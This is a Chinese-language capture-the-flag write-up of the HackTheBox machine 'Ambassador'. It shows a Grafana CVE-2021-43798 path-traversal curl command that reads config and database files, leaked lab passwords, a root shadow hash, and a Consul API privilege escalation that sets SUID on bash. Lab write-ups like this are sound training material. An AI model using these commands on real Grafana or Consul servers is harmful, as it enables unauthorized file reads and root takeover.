基本信息
端口扫描
22,80,3000,3306:
1 | nmap -sC -sV -Pn 10.10.11.183 |
80
一个博客,直接说了devops获取密码:
3000
Grafana v8.2.0:
Grafana-CVE-2021-43798
很容易搜到这个相关漏洞:
- Grafana 8.3.0 - Directory Traversal and Arbitrary File Read - CVE-2021-43798 | VK9 Security
https://vk9-sec.com/grafana-8-3-0-directory-traversal-and-arbitrary-file-read-cve-2021-43798/ - jas502n/Grafana-CVE-2021-43798: Grafana Unauthorized arbitrary file reading vulnerability
https://github.com/jas502n/Grafana-CVE-2021-43798
/etc/grafana/grafana.ini
直接读取grafana配置文件,得到grafana admin密码,并且可以看到secret被注释掉了:
1 | admin_password = messageInABottle685427 |
/var/lib/grafana/grafana.db
grafana.db也可以下载下来,这个没启用加密,直接查看即可:
1 | curl --path-as-is http://10.10.11.183:3000/public/plugins/alertlist/../../../../../../../../var/lib/grafana/grafana.db -o grafana.db |
mysql
使用得到的账号密码连接mysql查看信息,获取到developer用户密码:
1 | mycli -h 10.10.11.183 -u grafana -pdontStandSoCloseToMe63221! |
user flag
developer用户ssh登录,得到user flag:
提权信息
/opt/my-app目录下,查看git历史,可以得到一个consul token:
1 | developer@ambassador:/opt/my-app$ git show |
另外可以搜索到consul相关漏洞:
- Hashicorp Consul Remote Command Execution via Services API - Metasploit - InfosecMatter
https://www.infosecmatter.com/metasploit-module-library/?mm=exploit/multi/misc/consul_service_exec - metasploit-framework/consul_service_exec.rb at master · rapid7/metasploit-framework
https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/misc/consul_service_exec.rb
提权 & root flag
根据msf模块代码构造curl命令调用api,执行任意命令。例如执行一个给bash加suid的sh文件:
(也可以把8500端口转发出来,然后直接用msf打)
1 | echo 'chmod +s /usr/bin/bash' > /tmp/e.sh |
shadow
1 | root:$6$AY/Hqk/PJgettbhs$mgg2hluJ8.leTpnrlEkh4RF7qE6Ns9j/TtV3Sx5OIsZ2YEA0OjGsJpmQlX2CFMmbwNjmvCZy9/Rcea4nF799V0:19065:0:99999:7::: |
参考资料
- Grafana 8.3.0 - Directory Traversal and Arbitrary File Read - CVE-2021-43798 | VK9 Security
https://vk9-sec.com/grafana-8-3-0-directory-traversal-and-arbitrary-file-read-cve-2021-43798/ - jas502n/Grafana-CVE-2021-43798: Grafana Unauthorized arbitrary file reading vulnerability
https://github.com/jas502n/Grafana-CVE-2021-43798 - Hashicorp Consul Remote Command Execution via Services API - Metasploit - InfosecMatter
https://www.infosecmatter.com/metasploit-module-library/?mm=exploit/multi/misc/consul_service_exec - metasploit-framework/consul_service_exec.rb at master · rapid7/metasploit-framework
https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/misc/consul_service_exec.rb - Ambassador - HTB [Discussion] | BreachForums
https://breached.to/Thread-Ambassador-HTB-Discussion - HackTheBox (HTB) Writeup: Ambassador [Medium] – meowmeowattack
https://meowmeowattack.wordpress.com/2022/10/03/hackthebox-htb-writeup-ambassador-medium/